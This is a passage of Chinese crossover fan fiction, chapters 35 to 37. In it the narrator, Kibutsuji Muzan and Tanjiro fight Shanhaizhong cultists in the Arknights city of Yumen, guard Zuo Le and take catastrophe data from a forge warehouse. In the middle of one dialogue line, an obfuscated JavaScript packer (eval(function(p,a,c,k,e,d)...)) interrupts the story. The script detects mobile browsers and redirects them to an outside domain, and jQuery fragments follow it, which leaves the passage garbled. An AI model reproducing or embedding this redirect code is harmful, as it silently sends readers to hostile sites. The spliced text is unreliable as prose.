玉门集市几年一开,大多都只在与龙门对接补给物资的时候,此时的集市里不仅有玉门当地的摊贩,还有来自龙门的商队,集市上也有数种两地各自的商品。正因为是难得才有的大型集市,即便到了夜晚也热闹不减,吆喝声传遍街头巷尾,空气中飘着茶叶香和瓜果香气,人流量完全不输其他移动城邦的商业区。街巷里传来零星的金属敲打声,是接了急单赶制工艺品的铁匠铺在加班打铁。 站在水果摊前深呼吸,清甜的甜瓜香味扑鼻而来,我挑了个卖相不错的瓜,又在旁边抓了一把枣子,付了钱后又在隔壁摊位买了块烧饼。 鬼舞辻无惨看着我咬着烧饼数枣子的样子,问了句:“你晚上没吃饱?” “逛街时买的吃的都是另外算的嘛。”烧饼是驮兽肉馅的,焦脆的饼皮夹着咸香的酱肉,驮兽肉中带着些肥肉,在面饼中和下变得不那么油腻,入口后大脑便疯狂传递美味的信号,我和他说的话都不由得音调上扬。 甜瓜就带回去再切好了,应该能让客栈掌柜帮忙的,虽然我自己也有刀……用能控制尸体的帝具切瓜这种事还是算了吧,说不定还会被帝具嫌弃。 我拿了个枣子张口咬下。 “话说,我以前好像在哪里看过一个说法,吸血鬼不能吃普通食物,但能通过人血尝到人之前吃过的东西的味道。”鬼也不能吃人类的食物,虽然无惨大约只是对我嘴上不停的表现感到无语,但我总觉得是晾着他了,“这个枣子也算玉门特产的水果,你要不要尝尝?” 他半张着口看着我一时没有说话,像是噎住一般,过会反倒笑出了声:“这是哪里来的说法,鬼又不是那种东西。” 我说大概是其他的漫画,不死心地还是追问他:“所以其实鬼不是这样的对吗?” “那不然呢,你到底在想什么?”他似是被气笑了,走向一边的书摊翻了翻摊上的书本。玉门的书摊大多也卖的是武侠传记小说,或许是没有他感兴趣的,他渐渐露出些不满的神色,身上的低气压让一旁刚想推销的摊主也自觉闭了嘴。 我自知理亏,安静地抱着装了水果的袋子向他挪近几步。 “说起来,你在找什么吗?”我凑过去问他。其实从晚上开始,我就一直觉得鬼舞辻无惨似乎在想什么,像是在寻找什么东西的样子,或是找什么人,大约答应和我出门也是有这层原因,但这里是泰拉,他又会找什么人? 他扫了我一眼,从书摊前走开,我跟着他继续向前走,他用旁边路人听不见的声音说:“与其说是我在找,不如说,有人似乎好奇心太重了。” 好奇心?这总不能说的是我吧,我只是问了他这一个问题,他在说这话的时候也看向别处。随后他在一条巷口前停下脚步转过身,什么都没说便迈步向前。 我有些一头雾水,但还是跟了上去,顺便又追问他发现了什么。 跟着无惨走进小巷深处后,不等我继续问他,就已经感到了些许异样。像是被什么人盯住的感觉渐渐萦绕上心头,我来回张望着,在回过头的时候余光瞥见了我身后那根菲林尾巴,此刻上面的绒毛居然根根竖起,整条尾巴的体积几乎放大一倍。 所以确实有什么威胁正在接近,尽管我没有所谓蜘蛛感应的神奇能力,但拟态出的泰拉人出自种族血脉里的本能不会骗人。我将装有水果的袋子包好,取出太刀「八房」戒备着与无惨靠得更近些。 “哼,总有些不知天高地厚的家伙,我是不是应该夸赞你们勇气可嘉?” 随着鬼舞辻无惨的话音落下,数个人影从暗处显现,那些人身着兽皮制成的衣袍,帽子遮得严实只露出耳朵,脸上戴着由兽类头骨制成的面具,与下午在城门□□战过的那群人如出一辙——就是山海众组织的巨兽信徒。他们所拿的武器多是些钩索砍刀,此刻虽然拿在手上,却没有直接进攻的意图。 按无惨的说法,这群人就是来找他的,但山海众向来信奉巨兽,蛰伏在玉门伺机而动归根结底也是为了“将土地归还给它原本的主人”。他们,难道是以为无惨也是那种存在? 为首的山海众头目并没有戴兽骨面具,他的帽子上兽皮要比别人更厚实些,只用立领挡住口鼻,一手持长弯刀,另一手反握着匕首,向前一步站在所有山海众成员前方。在我还心说这将领的立绘变成现实就是这般模样的时候,他先开口了:“您并非寻常人类,我们能分辨出来,这位先生,若您有什么需要做的事,我们能帮您。” “帮我?呵,你们拿什么帮?”若非这里是泰拉,这些山海众又是我与他说过的巨兽信徒这种特殊人群,无惨大约就直接动手灭口了吧,但他先是扫了我一眼,便冷笑着反问那头目。 “我等此次在玉门为执行任务而来,若先生的要事有我等能助力之处,还请告诉我等,之后若是可以的话,也希望能邀请您同行……”那头目下午并不在城门口,并没有认出我,当然,他的目光也一次都没有落在过我身上,只是自顾自地对无惨说,“我们会将炎国人占据的土地尽数归还……” “这跟我有什么关系?”鬼舞辻无惨直接打断了对方的话,挑眉笑道,“你们还挺自以为是的,自顾自说了那么多蠢话,连我需要什么都不知道就敢说能帮我,一群自命不凡的蝼蚁也妄想抬高自己的地位了?” 山海众信奉巨兽,想来是有什么方法能分辨人兽,但说到底无惨也不属于这里的任何一种现有生物,他们又是如何看出他的与众不同?我确实会担心存在一些新的变数,或许是知道无惨真实信息的什么人,或许是剧情中未曾展现、因为我和无惨的到来而提前铺开的阴谋,我能根据记忆中的剧情决定如何行动,但实在不擅长应付突发意外。我悄声与无惨说了这个担忧,他没有回答我,但也将问题抛给那个山海众头目:“我倒是好奇,你们怎么那么笃定,我是与人类不同的存在?” “山海众自有方法,只是我级别有限,无权擅自告知先生,若您与我们同行,自会有人将您想得知的信息传达……”在他说话的时候,他身后有个山海众成员上前半步对他耳语几句后,他终于看向我,话锋一转,“您身边的这个人在下午曾与我们交战过,不知是否是您的安排?” 鬼舞辻无惨闻言瞥向我,侧身让出空当,在我疑惑地看向他时他将我向前推了出去。“她确实听命于我,不过你们在打败她之前,还没资格向我提问。”我看见他似笑非笑地看了看我,又看向对面的那群山海众,那头目已经挑了个手下叫上前来,分明是做好了决斗的准备。 我、我吗? 我看着无惨指了指自己,还未等看见他的回应,便感觉身边有人冲了上来。我没工夫再犹豫,「八房」立刻出鞘挡住山海众成员弯刀的一击,随后暗处闪出另一道身影,挥刀斩断了这人持刀的手臂。「八房」能操控的无胄盟杀手的尸体傀儡还剩下四个,虽然经历无限城那一战后也都有些残破,但从暗处出现突然袭击,这还是他们最擅长的。 “主人不喜欢弱者,山海众若是不能证明自己的实力,就别妄想自己在玉门的行动能成功,更不要说你们计划中给大炎惹的其他麻烦。”后半句确实是我自作主张说的,无惨大概没想表现出任何立场信息,听见我这么说他也愣了愣,但既然他先将我推出来和人打,那我也可以小小地坑他一把;不过是给人留下了一种他可能想帮炎国人的印象,算不上什么严重的事。 反正不管怎么说他都不可能再给这些自大的山海众成员好脸色的,我也正好,讨厌这群天灾时只会破坏民用避难设施的山海众。 系统卡死后商城无法使用,单靠「八房」和【钙质化】的能力以一敌多确实有些吃力,但躲在暗处的无胄盟狙击手帮了我大忙,那些带着侵蚀法术的箭矢破开了山海众成员的甲胄,我反而是越打越轻松。 在我躲过法术攻击冲上前刺穿一名山海众术师的胸口,又在拔出刀后将「八房」的刀尖直指命不久矣的术师眉心,黑色的能量涌动着自刀尖浸入术师身体,完成了新傀儡的制作后,那山海众头目终于意识到事态发展不妙。他后退几步,说了句“希望先生再考虑”后便再次丢下释放烟雾的圆珠,又一次,尘烟散去后那些山海众成员消失不见了。 我长出一口气,终于放松下来。 “无惨,我们要好好协助玉门对抗巨兽祸事哦。”我蹲下身翻开倒地的山海众成员,摇摇头决定不用这些普通成员的尸体滥竽充数,转头对鬼舞辻无惨坏笑一下,“直接帮你决定了,抱歉咯。” “是嘛,那我也可以把擅作主张的棋子舍弃,再去看看那群人为了自己的信仰能做到什么程度。”他笑得发狠,让我感觉不妙,但他身后突然传出的人声让他收住表情低头瞥向后方。 是巡防营的守军,站在巷口问我们为何在此,言语中目光绕过鬼舞辻无惨看见了地上倒着的几具山海众成员尸体。守军叫来几个人,几名官军迈着整齐的步伐走入巷子,还好我在刚才抢先一步收走了「八房」和尸体傀儡,看着甲胄严实装备齐全的守军,一脚挪到无惨身旁。 我们听见了巷中有声响,走进其中查看才发现有人倒在这里,我略通些治疗法术,才上前查看情况,我是这么和那几名巡防营守军解释的。“我和朋友都不是玉门人,不过这些人的衣服也和当地人不太一样,敢问是城内发生什么事了吗?若有我能相助的,我也必不会推辞。”其实玉门原本就聚集了不少江湖武侠,但二十年前山海众便有一次伪装成江湖人士潜入玉门破坏的事变,自那之后江湖人士便不再方便参与玉门城内的相关事务,但客气还是要客气一下的,不然表现得太置身事外,反而还会被怀疑。 守军果不其然摆摆手,拿出官腔说这是玉门城私事,城内近日有匪寇流窜,让我们无事不要外出,小心可疑人士。我笑笑说知道了,拿起自己的东西拉着无惨就离开了,他倒是没再说什么,只在走远巷子到无人再看见的地方后将手抽了回去。 “你应该,没有在生气吧?”人在心虚的时候会不由自主地说很多话,我迈着小步子快步跟着他,凑过去想看他的表情,但他总是比我快半个身位,“我是因为个人原因所以真的挺想好好帮炎国的,如果山海众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679167|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那边真的有你觉得可能有用的信息你也可以去问问他们,我也能帮你抓两个来……” “在你眼中我会这么容易生气,你是这么‘了解’我的?”他大约是终于被我烦得受不了了,站定后转身看我。我一下没收住重心撞在他胸前,如果不是这种说正事的气氛,我还挺想假装站不稳多占点便宜的,但是现在吧还是快些退开道歉比较好。 “有、有吧……没有!”我托着装有瓜果的袋子的双手食指互相戳了戳,被他盯得心虚地移开视线,想起来能把东西都收进物品栏,就也把碍事的袋子收了回去,然后双手合十迅速张口念道,“无惨大人您是君心难测呀,怎么会是喜怒无常呢,您只是不怒自威,从来没有发怒过的。” 现在他是真的不想跟我说话了。 我跑起来才追上他。 “对不起嘛!等我一下啦别走那么快,理我一下啦无惨大人!只要是我能做的,我什么都愿意……”他又一次猛地站住,这回我争气地站住了没有撞上他,然后看着他回头瞪着我的那双红眸,干笑两声说,“啊哈哈我是说,我突然想起来,能不能把你的手机借我一下?” “做什么?”他的问题简短,手机确实已经拿在他的手上,但还没有给我的意思。 我说我看一下灶门炭治郎有没有发什么消息,毕竟之前有跟他说过,有事可以直接拿我的手机给无惨打电话或发信息,通讯录里就有存,并且还置顶了。 手机被抛过来,我后退几步抬手接住。他这部在泰拉买的手机没有设置密码,倒不如说只是之前为了联络方便才买的,里面的壁纸都完全没有更换,还是默认的黑屏。我在查阅消息和通话记录时,听见他不冷不热地说了句“那么关心那小子做什么,他要是待在客栈都能死那也太废物了”。 “主要是照顾一下小孩啦,让一个大正时代的人直接到泰拉这种地方,还是太强人所难了吧。”消息记录仍然保持在我在卡西米尔给他发过的最后一条的界面,看上去没有什么意外情况发生,我退出来后看着漆黑的默认壁纸心生歹意。 鬼舞辻无惨没看我这边,换回了平常的步速往客栈方向走,我也慢慢跟着他,只听他说:“按大正时代来算的话,管你叫小孩还差不多。” 我戳手机屏幕的手顿住,忍不住停下脚步盯着他的背影。 “诶刚才那句,是在开玩笑?” 他没有否认,当然更没有给出肯定的回答。 好吧,就当他在开玩笑了。 我喊了他一声,终于是打开手机相机举起,在他回头的同时也抬头对着前置摄像头笑着吐了吐舌;结果就是照片中的他没什么表情,甚至没有看向摄像头——只是我想着等他反应过来了可能就不会同意我拍照了,便提前按下了摄影键。 不过他这种帅哥就是无死角的帅,所以怎样都很好看,在我这么说着给他的手机设置上新壁纸之前,手机就被他抽了回去。 如果能成功设置好壁纸的话这个晚上大概会更圆满吧,我想着,跟鬼舞辻无惨回到客栈房间,彼时玉门城内的氛围变得更紧张了些,窗外偶尔传来夜间巡逻的守军脚步声。当然,玉门确实是个安全的地方,不需要像在卡西米尔时那样担心被突如其来的杀手抹了脖子,也不担心哪天房屋外爆开带着源石粉尘的炸弹。 躺在床上的时候,鬼舞辻无惨正坐在椅子上看手机,我今天早些和他讲了点炎国的故事,他大约就在看那些。可能是我的视线太过明显,他皱皱眉抬头看向我:“什么事?” “不没什么……”只是觉得睡觉的时候他在旁边醒着有种微妙的耻感,而且自己一个人呼呼大睡晾着他也有点淡淡的不好意思,话虽如此我好像确实困了,眼皮已经开始打架。 他一句话给我听清醒了:“难道你在期待什么吗?” 我用力深呼吸一次拉起被子把自己埋进去,要说想歪到什么地方我不敢打包票说自己没有过,但这点心思被正主点出来也太过惊吓,我隔着被子朝他喊了句“没有”,听着他没有再说什么之后终于忍不住困意逐渐睡过去。 翌日玉门在晨时恢复了热闹,但按剧情发展,昨夜已经有刺客闯入军营妄图行刺,只是也涉及到岁与其他巨兽的事务,没让普通民众知道也是正常的。我按照昨日说好的带灶门炭治郎去铸剑坊先为他找个趁手的防身武器,却被堵在了铸剑坊门口。 “咱这就是个铁匠铺,您要打些菜刀、铁锅、日常用品就尽管开口,但那些刀剑武器,打不了。”铸剑坊的当家孟铁衣现在不在坊内,看点的伙计正拨着算盘清点材料,听我说了想拜托他们打把刀后头都没抬就丢回这句话,像是重复无数遍早已准备好的说辞,随后又是些碎碎念的絮叨,什么“你们这些外地游客就奔着那些武侠传说”还有“买点实际的特产回去不好吗”。 鬼舞辻无惨完全是一副看戏的模样,灶门炭治郎有些欲言又止,我这才把自己遗忘的剧情细节想起来。 这“铸剑坊”如今也只是个老字号的招牌,玉门的铁匠铺早已不对游客售卖刀剑。 我佯装早有预谋,问灶门炭治郎: “你拿菜刀也能使呼吸法的,对吧?” 36. 第 36 章 我知道灶门炭治郎看我的那种眼神。 带着点困惑,有些担忧,还有几分犹豫着的善解人意,似乎准备勉强应下来拿菜刀当临时武器。我有些不忍让这孩子真的拿菜刀了,这样的画面光是想想就诡异得连我都皱起眉,最后在他开口前换了个说法: “要不打一把斧头吧,用起来比菜刀应该顺手些。” 我不是没想过把「八房」借给他用用,但鬼杀队一般使用的是刀身更小巧、出招更迅捷的打刀,与「八房」这把太刀存在形制上的区别,上手不顺反而会破坏战斗节奏;况且「死者行军·八房」本身还是我从《斩·赤红之瞳》里顺来的帝具,按世界观设定,与帝具相性不合的人强行使用易遭反噬,控制尸体傀儡的太刀帝具,想也知道绝不可能与灶门炭治郎的性格契合。 与作品中「八房」的原主黑瞳将傀儡认作家人的扭曲性格不同,我只是觉得这个能力好用罢了,而且尽管帝具的限制会让人在操控傀儡时降低自身的行动能力,对我现在的体质而言影响也不大。我没觉得自己和这把刀有多少共鸣,不过它确实也没有辜负我,成为太刀侠的体验对我来说还不错。 “打把斧头,我有点急用,今天能好吗?”我得到了少年的同意,询问那个看店的伙计,伙计凝眉拨了几下算盘,报出一个价格。加急赶工未尝不可,但即便现在开工也要等到翌日才能取货,我点头应下,余光瞥见一到身影正在铸剑坊外来回走动,似乎是见坊内有人,迟迟没有跨过坊院的门槛。 是个熟悉的中年男性模样,明黄色的手套和围巾被以黑色为主色调的宽大衣袍衬得明显,同样黑色的帽檐挡不住夸张的耳鳍,身后锤到小腿的外衣下摆中也探出一条形貌色彩特别的鱼尾。这也太明显了,我心说,是老鲤,他也是来这铸剑坊打听旧事的,或许是发现其中有我们三人,所以暂时不打算进来。 老鲤为人精明处事圆滑,虽然接触起来不难相处,借用罗德岛的身份和他交流不会出错,但他也不会轻易把自己调查的重要事项告诉第一次相见的陌生人。说到底,和这样的老江湖打交道到底是我这边容易说多错多,还是尽快离开不要妨碍他打探情报来得好。 于是我和伙计又攀谈了几句,约好明日来取新打的斧头,便向身旁两人招招手离开了铸剑坊。 之后的剧情……我略加思索,转头向灶门炭治郎要回了我的手机,顺手给博士发去了消息。《登临意》的剧情中没有罗德岛本舰干员出场,我既然已经决定借用罗德岛相关人员身份,那还是告知一下博士比较好。 和博士的联系方式是之前在卡西米尔加上的,用对方的话来说,大概是私人号码。我打开向那个号码发去了几行字,说明因为意外情况我与鬼舞辻无惨又来到了泰拉,这次在玉门需要暂时借用罗德岛干员的身份。 消息一直显示未读,我寻思着或许是舰内工作比较忙,便退出了聊天页面。 “白夜小姐,昨日我问您的那个问题,您说我自己会想到答案。”我再次把手机递给灶门炭治郎时,他终于向我提出了昨日的事,看上去是有了些想法,见我点头后他接着说,“我在您给我的这个……手机,里面似乎有一些资料,我冒昧地读了一些。” “哦,你说《大地巡旅》吗?我下载了电子版在手机里的,你想看就能看,而且看上去你已经会用翻译功能了。” 他像是得到了鼓励,继续说下去:“我大概知道了一些有关这个世界的信息,抱歉,我没有想过这里会有那么严重的威胁,即便没有鬼,这里的人们也还是……” 我看着他蹙眉的神情,不禁想起来自己最初玩《明日方舟》接触到游戏世界观的时候,大概没有人不会在初步了解这种末世背景时被残酷的环境所震撼吧,对灶门炭治郎这个生活在山里的孩子来说,城邦、国度、文明这些话题又太过宏大了。但毫无疑问他理解了“天灾”,也理解了“疾病”,这两个组成泰拉最大苦难的根源,他在阅读资料后知晓,也共情到了人们的痛苦。 有一瞬间我下意识想告诉他这个世界就是如此,转念一想,这么说未免也太过无情了。因为看多了游戏剧情中残酷悲伤的环节,所以心中逐渐习惯这类节奏,但实际上我现在正踩在泰拉的土地上,一场严重的天灾也正逼近玉门。 “你不用道歉。”我对灶门炭治郎笑笑,希望这样能宽慰他一些,“源石是这里的生活生产必需品,所有科技都建立在源石技术上,所以矿石病和天灾都是无法逃避的问题,你不用感到抱歉。” “我在最初来到这里的时候,听您说这个世界没有鬼,以为……以为这里的人们能过得安稳幸福……” “即便是没有天灾和矿石病、也没有鬼的世界,人与人之间的争斗也不会停止,这不是你的错,不是任何人的错,因为人就是这样的。” 白天的集市要稍微热闹些,我在路边的摊上买了个苹果一起塞给他。 “灶门,我不知道这么说会让你产生什么感觉,但我也想告诉你,就在你们消灭鬼之后不久的未来,人类会面临更大的灾难,这个灾难来自于人类内部的战争;有人成为加害者,有人成为牺牲者,在那场灾难中死去的人,大约是比所有鬼吃过的人还要多的。” 灶门炭治郎双眼微微睁大,沉默着点头接受了这样的事实。他接过苹果顺着我的视线望向整个集市,看着小摊吆喝的模样和路上随父母赶集的孩子嬉笑的神情,将苹果收进衣兜。 我拍拍他的肩膀示意他不要在集市的人潮中站住不动,往前走着说:“其实也并不怪你们,很多事情你们没有机会知道,这也是没办法的,只是现在既然了解了,我个人也是希望——当然只是我个人的想法啦,我没有经历过你们的人生,可能没资格说那么傲慢的话——只是我个人希望,如果你有机会回去、并且不用忘记在这个世界看过的一切,就请不要仅仅把所有的不幸都归到鬼舞辻无惨身上吧。” 至少不要说他是不该存在不该活着的生物……虽然这么想了,但我还是没说出这句话。其实他也不是经常性出言不逊的性子,那个片段中他若非气极也不会那样讲,更何况还有一种名为作者意志的存在会驱使角色的言行,所以结论仍是我告诉他的那样:不是谁的错,我也不想怪罪谁。 如果把责任推给谁就能万事大吉的话,世间又怎会有那么多难以处理的困境? “哎呀,不用太放在心上啦,不过还是要请你先做个心理准备,因为这次是事关整个炎国安危的人与异族的战争,情况紧急的场合,我会用任何手段、不计后果地让敌人失去行动能力,无论他们是否是人类。如果你接受不了的话,我提前向你道歉。”我收起笑认真地看着灶门炭治郎。 我没有受过专业的杀人训练,当然不会知道攻击哪个部位能让人没有多余痛苦地立刻死亡,更不知道怎么做能让人在疼痛中活很久。复盘直至今日的战斗,我只是将攻击甩在敌人身上,让他们失去行动能力;放在游戏里是把敌人的血条打空就能达成通关目标,现在也只不过是把视角从电子屏幕转换到我眼中的第一人称视角。 他也同样认真地看着我的眼睛,似乎花了些时间确认我话中语意,最终低低地应了声好。如果真有那样的时候,他希望尽可能不要伤及对方性命,我告诉他我会努力避开致命部位,但很多时候我只是按照认知中效率最高的方式攻击,所以保证不了结果。 他真的是个什么表情都写在脸上的孩子。 那对深红色的眸子里翻着数种情绪,我好像在原作里也看过他这样的表情,但眼前少年的神色又比任何平面图像更复杂。 “白夜小姐,我知道您不是以杀人为乐的那种人。”灶门炭治郎看着我的时候有些悲伤,他极快地扫了眼一边的鬼舞辻无惨,追问道,“其实我还是想知道,您为什么会对他……” 他的话被无惨往我手中塞东西的动作打断。我低头看去,无惨给我塞了个玉门特色的脆壳糖油果,趁我盯着手中的糖油果思考自己好像在游戏内见过相同的消耗道具时,他毫不客气地把灶门炭治郎想说的话堵了回去:“每次都那么多话,你们做什么事之前都得说上几句?” 微妙的气氛中穿插了我一句“居然是给我买的吗好感动”,鬼舞辻无惨把我的脸推向一边让我别多话:“这都堵不上你的嘴吗?”我看向天上已经开始聚集起的风暴云,装作无事发生咬上手中的糖油果,并无视了身后灶门炭治郎压着火喊了无惨的名字却碍于集市人多眼杂无法公然与他争论。 今天天气真好啊你看那沙尘暴都要来了。 视线扫向人来人往的集市,声音嘈杂中我放空大脑沉浸传统点心的口味上,左耳进右耳出地听着诸如“你凭什么不给她自己回答的机会,你没资格替他人做决定”和“她本来就喜欢我,由我来告诉她该做什么不应该吗”的对话,随意扫视着来往的人流。最终,我咽下最后一口点心,将手中的油纸团成一团,转过身举起手在火药桶引爆之前踩灭火苗。 “我找到目标人物了,可以来帮我推一下任务进度吗?”我单手抱臂,另一手点点下巴,帝具「八房」被我调出来抱在了怀中。争吵被我打断后,鬼舞辻无惨毫不在意地停下话语抱臂看向别处,灶门炭治郎做了个深呼吸转过身去。 那我就当作他们都自动跟随好了。这样想着,我直接迈步朝着方才留心选定的方向走去。 玉门集市很少像现在这样热闹,要去的地方也不是任何僻静少人的巷子,相反,只是大路的正中。一位斐迪亚少年正杵在路中间,因为挡住了身后运货的人、被呵了两句后愣愣地让开身位。四面都是吆喝声与讨价还价声,偶尔还响起些因价格谈不拢而发生的冲突声响,大路中人挤人,这样的环境更容易埋藏致命的危险。 被暗中敌人紧紧盯住的斐迪亚少年,也就是大炎司岁台的秉烛人左乐,他身在局中看不清身边哪些人是真的游客,哪些又是伪装成路人的刺客,正警觉地环顾四周,汗水不经意从他的额前滴下。当然,若是我作为外人有意观察的话,毫不费力就能注意到有什么人正在接近他,而那人手中正攥着一柄利器,周围人即便赶路匆忙也会尽可能避开其他路人,唯有此人不偏不倚直指左乐后背。 这一刀若是刺中他,伤至脊骨会使他后半辈子都再也站不起来,动手行刺的人应该做过许多次同样的事了,只是熟练地一步步靠近那秉烛人。 “你要做什么!住手!”在我上前抽刀做个后来的黄雀之前,灶门炭治郎先一步穿过人群冲到左乐和山海众刺客之间,一把抓住刺客即将出刀的手,大声呵道。 我不声不响地放下「八房」,快步跟上向循声回头的左乐打了招呼:“左公子,追查贼人还请小心,莫要中了贼人圈套。” 被灶门炭治郎抓住手的刺客打扮得就像普通游客,在被发现的同时用力甩开对方的手,拉起脖子上的面巾挡住脸转身潜入人群。泰拉人的体质到底是比人类好上太多,即便是掌握全集中呼吸法、实力已经接近柱的灶门炭治郎也没能拉住那人,甚至被推得踉跄后退半步,难以置信地看看自己手心,抬脚就要去追。 “诶,这穷寇可不兴追啊,年轻人莫心急。”明黄色的手套出现在视野中,高大的龙族男性挡在灶门炭治郎身前,老鲤向左乐轻点头,看向我们这边,“今天这集市可真是热闹……” “鲤先生,还有几位,虽不相识,但感谢各位相助。只是这集市中混入贼人,眼下不便多言……”左乐手搭在腰间的刀柄上,双脚已经变换站姿将重心放下准备迎战。 老鲤手指一动,抛出几枚铜钱,化作障眼的法术,散出薄烟笼罩在我们周围。“一些暂时的障眼法,撑不了多久,先脱身出去再说。”他话音落下,薄烟开始缓慢散去。随着情势被点明,埋藏在人群中的山海众成员似乎开始躁动起来,盯过来的目光越发锋利,但潜在人群中的山海众一时半会也无法分辨,除了被动招架也毫无办法。 游戏中这次活动关卡并没有分辨敌人或平民的机制,若是系统还在的话或许还能辅助索敌但眼下系统卡死杳无音讯,只靠肉眼无法区分乔装过的山海众;更何况他们穿行在人流中,又怕惹急了他们会拿周围的路人当挡箭牌,挥刀出拳都备受约束。 大部分路人也只偶尔投来好奇的目光,玉门人大多血气方刚,集市中因讲价发生的拳脚矛盾不在少数,多数时候也只是点到为止,越界之前便有热心肠的人来劝架。现在这样争斗,虽人数众多,但他人也只当寻常的争执,都没有当回事。 不对啊,明明就有一个快速筛出敌人的方法,我怎么差点忘了呢。 “我有一招能拖住这些贼人,你们抓住机会放倒他们。”即便系统卡死,我也还有【钙质化】这一个技能是不需要开商店购买技能石就可以使用的,既然是能使敌方减速的技能,换句话说受到控制效果的就是敌方单位,干脆就利用这个机制速战速决。 银白色的钙质悬浮起来,界限分 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我回头向灶门炭治郎摇头告诉他不必担心,将证件递给左乐:“只是罗德岛的办事人员罢了,先前在事件记录档案中读过左公子的事,也听同僚讲过,此次遇见也是机缘巧合。” 他反复确认了证件的信息,几次呼吸后点头还给我,道了谢:“多谢几位相助,有机会代我向克洛丝姐他们问好,不过这些贼人涉及大炎机密事务,之后的事不便各位参与,在此作别。” 我微笑点头,放松下来后迟钝地意识到自己疏漏了些什么。 等等,“这两人”? 鬼舞辻无惨去哪里了! 我面色不惊地和他们道别,走远些后让灶门炭治郎先行回客栈,我去找无惨。 他或许是有什么自己要做的事,是在那个想偷袭的山海众成员被抓包逃走后离开的,那他约莫就是去找那人了。是要拿泰拉人做什么血液方面的测试,亦或是想得到更多关于巨兽的信息,我猜了几种可能性,但还是得见到他后才知道。 少年仍是有想问我的问题,或许跟我一起去比较稳妥,他也想这么说,但最后还是妥协了。“鬼舞辻无惨的气味是在那个方向,白夜小姐您小心。”他给我指了个方向,往客栈的方向跑走了。 顺着方向追过去,路边的景象却是越来越靠近铸剑坊。我满心疑惑正要踏入铸剑坊的大门,一张狰狞的面孔就直扑过来,下意识架刀挡住后才看清那是个寻常泰拉人的面孔,只不过除了兽类的耳朵尾巴特征外,这家伙的眼睛浑浊一片,被太刀卡着脖子挡住、仍张大要咬过来的口中赫然一对尖锐的利齿。 这是鬼的特征,只能是鬼舞辻无惨的手笔,这人的衣着样貌倒也眼熟,应该就是逃走的那个山海众刺客没错。所以无惨不声不响地去追上了他,但没有打算把他交给巡防营,而是变成了鬼后放在铸剑坊门口。 他来铸剑坊做什么?这里的仓库内确实藏着真正的天灾数据,因为坊主孟铁衣出于私情与山海众勾结,伪造了天灾信使队伍遇害的事件,所以那批队伍的成员和真实数据都一并存放在了这里。这段剧情的触发点不在今日,我也没来得及把剧情流程都讲给无惨听,但他现在就来到这里,应该也是从那刺客脑中的记忆探查到的。 但他也没理由主动帮人,我实在有些想不明白了。 我径直穿过铸剑坊的院子走进后屋的仓库,迎面撞上了鬼舞辻无惨,他看上去就在这候着我,似乎也早料到我会来。他只抬眼瞥了我一下,就继续低头回去看自己手上的那一摞纸张,没猜错的话,那是天灾数据。 所以他对那些天灾数据有些兴趣? “我让灶……那小子,我让他先回去了。”我尝试适应了一下无惨的某些说话方式,向他走过去,“铸剑坊没人?” 他看完了那摞记录天灾数据的纸张,又去看旁边的监测设备:“你做了个正确的决定,这次可以算你聪明一回。”他说话时没有看我,只盯着那些设备,尝试打开,却在看见装置毫无反应后丢了回去。 “那个估计是没电了……所以你来找这些天灾数据?抱歉,我好像忘记跟你说详细剧情了,话说门外那个山海众是——” “随手尝试一下,效果不是很好。”无惨抬头看了看仓库架子上方的石料,转而像是对这铸剑坊的一切失去了兴趣一般,“我原以为这里的人变成鬼后能用那些法术和血鬼术结合,不过看起来,完全变成废物了。” 还有扑过去咬人的本能就也不算完全没用,我脑中冒出一句荒诞的吐槽,最后决定还是不要说给他听了。手中的天灾数据保存完好,原剧情中这些数据一天后才能送到军营里,届时玉门因为来不及撤出天灾范围,只能被迫正面抵抗,若是能提前24小时交给他们的话,就能大大争取避险时间。 但是……是否会有其他不妥?心底闪过一丝犹疑,不知为何我又总觉得这么做会产生其他蝴蝶效应,或许我应该再仔细想想再做决定。 无惨只像是无所谓,说:“反正你好像正需要这东西,拿着吧,上面写的内容倒是之前没有见过的信息,这个世界的‘天灾’当真是什么毁灭性的存在?” 行吧,至少数据拿在手上,先带走比较好。至于被关押在仓库中的信使队伍,说不定有伙计看守,再深入只会更打草惊蛇,就先离开好了。 我对无惨笑笑:“算是吧,过两天你亲眼看见就知道了。总之真的很感谢你啦居然能找到这个,这些数据很重要。”如果没有把一个泰拉人变成鬼就更好了……所以说那个到底怎么处理啊这里的太阳又晒不死鬼! “如果你在想那个失败品的话,我直接抹除便是了。”他从我的表情中读出了想法,耸耸肩玩味地笑了笑,“看在你比我预想的要更早些找到这里,就算是奖赏吧。” “那我也谢谢你。”我是真心的。 我沉浸在对话中,没有注意身后洒下的一片阴影。仓库天花板上悬着吊灯,所以整个库房里并不昏暗,直到阴影几乎笼罩住我整个人时我才发现有人站在身后。说来也是惊奇,那人分明身形壮硕,一路走过来脚步却如此轻盈,若不是练功多年绝达不到这样的效果。 浑厚的声音在我转过身的同时响起,那声音也不愠不恼,只像在唠一句家常,但说话人手中早已提着那柄熟悉的布满磨损的锻造锤。 “两位在我铸剑坊的仓库内,有何贵干?” 37. 第 37 章 “两位在我铸剑坊的仓库内,有何贵干?” 与问句一同到来的是凌冽的掌风,向着我后脖袭来。我几乎是下意识地往下一蹲,又怕不保险,立即在后背覆上一层钙质防护,来不及回头看,双腿蹬地就向前扑去,略显狼狈地翻滚一圈拉开了距离。 身后人没有记者追击,这给了我时间站起来转身看向他。 其实也不用看,那柄铁锤的影子已经告诉了我来者——铸剑坊坊主孟铁衣。我没想到会在这里迎面撞上他,不过话说回来,就这么溜进仓库不被抓包才有鬼呢。 “孟坊主,真是抱歉,我们原本是想来找伙计问问我那单子何时能取货,结果伙计人不在,您瞧瞧这事闹得。”我向他抱拳行礼。 “姑娘这一趟怕不仅仅是找伙计吧。”孟铁衣将锻造锤提起,在手中掂了掂,“我记得你,到底也是个有侠心义胆的年轻后生,我也不想伤你,但既然你看到了不该看的东西,就莫怪孟某要将你与你的朋友留一段时间了。” 